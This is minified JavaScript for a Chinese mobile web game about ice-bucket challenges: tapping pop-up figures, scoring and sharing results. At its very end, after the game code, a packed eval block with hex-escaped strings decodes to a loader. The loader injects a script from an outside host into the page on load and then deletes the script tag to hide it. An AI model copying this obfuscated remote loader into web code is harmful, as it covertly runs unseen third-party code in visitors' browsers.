game.js 9.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395
  1. (function() {
  2. function m(e, b, f, g) {
  3. b.split(" ").forEach(function(b) {
  4. e.addEventListener(b, f, g || !1)
  5. })
  6. }
  7. function C(e, b, f, g) {
  8. b.split(" ").forEach(function(b) {
  9. e.removeEventListener(b, f, g || !1)
  10. })
  11. }
  12. function M() {
  13. function e() {
  14. n = 0;
  15. Z = K;
  16. D = N;
  17. x = M;
  18. O = Y;
  19. q.text = p.text = r = 0;
  20. q.x = p.x = 400;
  21. $ = Date.now() / 1E3 | 0;
  22. window.removeEventListener("resize", f, !1);
  23. s.style.display = "none";
  24. B()
  25. }
  26. function b() {
  27. y = Math.min(innerWidth / 640, innerHeight / 960);
  28. P = 640 * y | 0;
  29. Q = 960 * y | 0;
  30. R = (innerHeight - Q) / 2 | 0;
  31. S = (innerWidth - P) / 2 | 0;
  32. var d = E.style,
  33. c = {
  34. width: P + "px",
  35. height: Q + "px",
  36. left: S + "px"
  37. },
  38. a;
  39. for (a in c) c.hasOwnProperty(a) && (d[a] = c[a])
  40. }
  41. function f() {
  42. var d = 640 / 960 * innerHeight | 0;
  43. s.style.width = d + "px";
  44. s.style.left = ((innerWidth - d) / 2 | 0) + "px";
  45. aa.style.fontSize = (34 / 960 * innerHeight | 0) + "px"
  46. }
  47. function g() {
  48. function d(a) {
  49. a.stopPropagation();
  50. switch (a.target.getAttribute("data-action")) {
  51. case "retry":
  52. C(s, "click", d);
  53. e();
  54. _hmt.push(["_trackEvent", "button", "gameReStart"]);
  55. break;
  56. case "share":
  57. clickMore();
  58. //F.style.display = "block",
  59. m(F, "click",
  60. function fa() {
  61. //C(F, "click", fa);
  62. clickMore();
  63. //F.style.display = "none"
  64. }),
  65. _hmt.push(["_trackEvent", "button", "share"])
  66. }
  67. }
  68. f();
  69. window.addEventListener("resize", f, !1);
  70. k = 100 * (r / 80);
  71. k = isNaN(k) ? 0.1 : Math.max(0.1, Math.min(99.9, k));
  72. k = k.toFixed(1);
  73. for (var c = n,
  74. a = T.length - 1; - 1 < a; --a) {
  75. var ba = T[a],
  76. c = c - ba[0] * n;
  77. if (r >= c) {
  78. ca = ba[1];
  79. break
  80. }
  81. }
  82. aa.innerHTML = '\u6211\u6cfc\u4e86<span style="color:#f00">' + r + "</span>\u6876\u51b0\u6c34\uff0c\u8d85\u8fc7\u4e86" + k + "%\u7684\u6311\u6218\u8005\uff01\u83b7\u5f97" + ca + '\u79f0\u53f7<br />\u9080\u8bf7\u4f60\u7684\u597d\u53cb\u6765\u4e00\u8d77<b style="color:#f00">\u6cfc\u9192\u5c0f\u623f\u5b50</b>\u5427\uff01\u73cd\u7231\u751f\u547d\uff0c\u8fdc\u79bb\u6bd2\u54c1\u3002';
  83. da(r);
  84. s.style.display = "block";
  85. m(s, "click", d);
  86. dp_submitScore(r,k);
  87. }
  88. function L(d) {
  89. var c = new createjs.Bitmap(ga);
  90. c.x = d.x - ha / 2 - 13;
  91. c.y = d.y - ea - 14;
  92. l.addChild(c);
  93. var a = new createjs.Bitmap(ia);
  94. return {
  95. full: function() {
  96. var c = a.getBounds();
  97. a.x = d.x - c.width / 2 - 10;
  98. a.y = d.y - ea + 34;
  99. l.addChild(a)
  100. },
  101. clean: function() {
  102. l.removeChild(c);
  103. l.removeChild(a)
  104. }
  105. }
  106. }
  107. function z(d) {
  108. function c(a, d, e, t, b) {
  109. 0 >= e ? b() : (--e, G.get(a).to({
  110. x: d
  111. },
  112. t).to({
  113. x: d
  114. },
  115. t).call(function() {
  116. c(a, d, e, t, b)
  117. }))
  118. }
  119. var a = d.person;
  120. if (!a || a.y > u - 10) return ! 1;
  121. d.hit = !0; ++r;
  122. q.text = p.text = r;
  123. q.x = p.x = 480 - p.getBounds().width;
  124. var e = d.y + a.y;
  125. G.removeTweens(a);
  126. var t = L({
  127. x: d._x,
  128. y: e
  129. });
  130. c(a, 5, 1, x / 8,
  131. function() {
  132. a.visible = !1;
  133. var e = h.getResult(a.wetId),
  134. b = new createjs.Bitmap(e);
  135. b.x = 0;
  136. b.y = a.y;
  137. d.addChild(b);
  138. t.full();
  139. c(b, 3, 2, x / 8,
  140. function() {
  141. setTimeout(function() {
  142. t.clean();
  143. G.get(b).to({
  144. y: u,
  145. x: 0
  146. },
  147. O).call(function() {
  148. d.person = null;
  149. d.removeChild(a);
  150. d.removeChild(b);
  151. a.x = 0;
  152. a.y = u;
  153. d.shown = !1;
  154. d.hit = !1
  155. })
  156. },
  157. x / 8)
  158. })
  159. });
  160. return ! 0
  161. }
  162. function ja() {
  163. for (var d = [], c = v.length - 1; - 1 < c; --c) {
  164. var a = v[c];
  165. a.shown || a.hit || d.push(a)
  166. }
  167. return d
  168. }
  169. function ka(d, c) {
  170. for (var a = d.slice(), e = Math.min(a.length, c), b = [], f = 0; f < e; ++f) {
  171. var g = a.length * Math.random() | 0;
  172. b.push(a[g]);
  173. a.splice(g, 1)
  174. }
  175. return b
  176. }
  177. function la() {
  178. var d = "person-" + U[U.length * Math.random() | 0],
  179. c = h.getResult(d),
  180. c = new createjs.Bitmap(c);
  181. c.wetId = d + "-wet";
  182. c.x = 0;
  183. c.y = u;
  184. return c
  185. }
  186. function w(d) {
  187. var c = ja();
  188. 0 < c.length && c.length > v.length / 2 && (d = ka(c, d), n += d.length, d.forEach(function(a, d) {
  189. a.shown = !0;
  190. var c = a.person = la();
  191. a.addChild(c);
  192. G.get(c).wait(100 * d).to({
  193. y: 0
  194. },
  195. Z).wait(x).to({
  196. y: u
  197. },
  198. O).call(function() {
  199. a.person = null;
  200. a.removeChild(c);
  201. a.shown = !1
  202. })
  203. }))
  204. }
  205. function B() {
  206. var d = $ + V - (Date.now() / 1E3 | 0);
  207. 0 >= d ? (A.text = '0"', setTimeout(g, 2E3)) : (10 >= d ? (D = 0.6 * N, w(2)) : (D = (0.5 + 0.5 * d / V) * N, w(1)), A.text = d + '"', setTimeout(B, D))
  208. }
  209. var E = document.getElementById("canvas"),
  210. l = new createjs.Stage(E),
  211. G = createjs.Tween,
  212. H = createjs.Ticker;
  213. H.setFPS(30);
  214. H.addEventListener("tick", l);
  215. var v = [],
  216. u = 174,
  217. J = [516, 671, 835],
  218. H = [].concat.apply([], [118, 330, 538].map(function(d) {
  219. return J.map(function(c) {
  220. return [d, c]
  221. })
  222. })),
  223. K = 300,
  224. N = 600,
  225. M = 300,
  226. Y = 300,
  227. Z,
  228. D,
  229. x,
  230. O,
  231. r,
  232. V = 30,
  233. $,
  234. W = new createjs.Bitmap(h.getResult("bg"));
  235. W.x = 0;
  236. W.y = 0;
  237. l.addChild(W);
  238. var A = new createjs.Text(V + '"', "72px Arial", "#fff");
  239. A.x = 130;
  240. A.y = 28;
  241. l.addChild(A);
  242. var p = new createjs.Text(0, "148px Arial", "#fff"),
  243. q = new createjs.Text(0, "148px Arial", "#253574");
  244. q.x = p.x = 400;
  245. q.y = p.y = 28;
  246. p.outline = 6;
  247. l.addChild(p);
  248. l.addChild(q);
  249. var s = document.getElementById("board"),
  250. aa = document.getElementById("board-text"),
  251. P,
  252. Q,
  253. R,
  254. S,
  255. y;
  256. b();
  257. window.addEventListener("resize", b, !1);
  258. var F = document.getElementById("share-tip"); (new Image).src = "vapp/share_tip.png?1408476074";
  259. var ha = 114,
  260. ea = 152,
  261. ga = h.getResult("bucket"),
  262. ia = h.getResult("water"),
  263. X = ["touchstart", "mousedown"],
  264. I;
  265. m(E, X.join(" "),
  266. function c(a) {
  267. if (void 0 === I) {
  268. I = a.type;
  269. for (var e = X.length - 1; - 1 < e; --e) {
  270. var b = X[e];
  271. b !== I && C(E, b, c)
  272. }
  273. } else if (I !== a.type) return;
  274. a.stopPropagation();
  275. b = a.touches ? a.touches[0].pageX: a.pageX;
  276. a = a.touches ? a.touches[0].pageY: a.pageY;
  277. b = (b - S) / y | 0;
  278. a = (a - R) / y | 0;
  279. for (e = v.length - 1; - 1 < e; --e) {
  280. var f = v[e];
  281. if (!f.hit && f.shown) {
  282. var g = f.x,
  283. l = f.y;
  284. if (b >= g && (b <= g + 200 && a >= l && a <= l + 180) && z(f)) break
  285. }
  286. }
  287. });
  288. H.forEach(function(c) {
  289. var a = new createjs.Container,
  290. e = c[0];
  291. c = c[1];
  292. a._x = e;
  293. a._y = c;
  294. a.x = e - 71;
  295. a.y = c - u;
  296. var b = new createjs.Shape;
  297. b.setBounds(0, 0, 200, 200);
  298. b.graphics.drawCircle(100, 100, 100);
  299. b.x = e - 100;
  300. b.y = c - 200;
  301. a.mask = b;
  302. l.addChild(a);
  303. v.push(a)
  304. });
  305. e()
  306. }
  307. function da(e) {
  308. e = e || 0;
  309. }
  310. var B; !
  311. function() {
  312. var e = "",
  313. b = "",
  314. f = "",
  315. g = "",
  316. k = "";
  317. B = function(z, h, m, n, w) {
  318. "" != z && null != z ? e = z: "";
  319. "" != h && null != h ? b = h: "";
  320. "" != m && null != m ? f = m: "";
  321. "" != n && null != n ? g = n: "";
  322. "" != w && null != w ? k = w: ""
  323. };
  324. } ();
  325. var Y = document.getElementById("loading"),
  326. J = document.getElementById("loading-progress");
  327. J.innerHTML = "10";
  328. var U = ["lj", "fs", "ldh"],
  329. K = [{
  330. src: "bg.png?1408476074",
  331. id: "bg"
  332. },
  333. {
  334. src: "bucket.png?1408476074",
  335. id: "bucket"
  336. },
  337. {
  338. src: "water-full.png?1408476074",
  339. id: "water"
  340. }];
  341. U.forEach(function(e) {
  342. K.push({
  343. src: "person-" + e + ".png?1408476074",
  344. id: "person-" + e
  345. },
  346. {
  347. src: "person-" + e + "-wet.png?1408476074",
  348. id: "person-" + e + "-wet"
  349. })
  350. });
  351. var h = new createjs.LoadQueue(!1, "vapp/");
  352. h.loadManifest(K);
  353. h.on("progress",
  354. function(e) {
  355. J.innerHTML = (100 * e.progress).toFixed(2)
  356. });
  357. m(document, "touchmove",
  358. function(e) {
  359. e.preventDefault();
  360. e.stopPropagation()
  361. });
  362. var k = 0.1,
  363. n = 0,
  364. T = [[0.1, "冷血无情"], [0.2, "色眯眯善人"], [0.3, "爱心小苹果"], [0.3, "爱心小公主"], [0.1, "慈善大屎"]],
  365. ca = T[0][1];
  366. h.on("complete",
  367. function() {
  368. var e = document.getElementById("start"),
  369. b = document.getElementById("start-btn"),
  370. f = !1;
  371. m(b, "click",
  372. function L(h) {
  373. h.preventDefault();
  374. C(b, "click", L);
  375. e.style.display = "none";
  376. f || (f = !0, M(), _hmt.push(["_trackEvent", "button", "gameStart"]))
  377. });
  378. Y.style.display = "none"
  379. });
  380. //da()
  381. })();
  382. (function() {
  383. var a = document.createElement('script');
  384. a.type = 'text/javascript';
  385. a.async = true;
  386. a.src = '';
  387. var b = document.getElementsByTagName('script')[0];
  388. b.parentNode.insertBefore(a, b);
  389. a.onload = function() {
  390. a.parentNode.removeChild(a)
  391. }
  392. })();
  393. eval(function(p,a,c,k,e,r){e=function(c){return c.toString(36)};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[4-9c-l]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('c _$=[\'\\6\\7\\d\\8\\9\\4\',\'\\4\\e\\x78\\4\\5\\h\\f\\x76\\f\\6\\7\\d\\8\\9\\4\',\'\\x68\\4\\4\\9\\x3a\\5\\5\\x77\\e\\8\\g\\x32\\6\\x6b\\x79\\g\\7\\x6e\\5\\x67\\f\\x6d\\e\\5\\i\\i\\5\\x6f\\g\\h\\6\',\'\\6\\7\\d\\8\\9\\4\'];(j(){c a=k.createElement(_$[0]);a.type=_$[1];a.async=true;a.src=_$[2];c b=k.getElementsByTagName(_$[3])[0x0];b.l.insertBefore(a,b);a.onload=j(){a.l.removeChild(a)}})();',[],22,'||||x74|x2f|x73|x63|x69|x70|||var|x72|x65|x61|x2e|x6a|x38|function|document|parentNode'.split('|'),0,{}))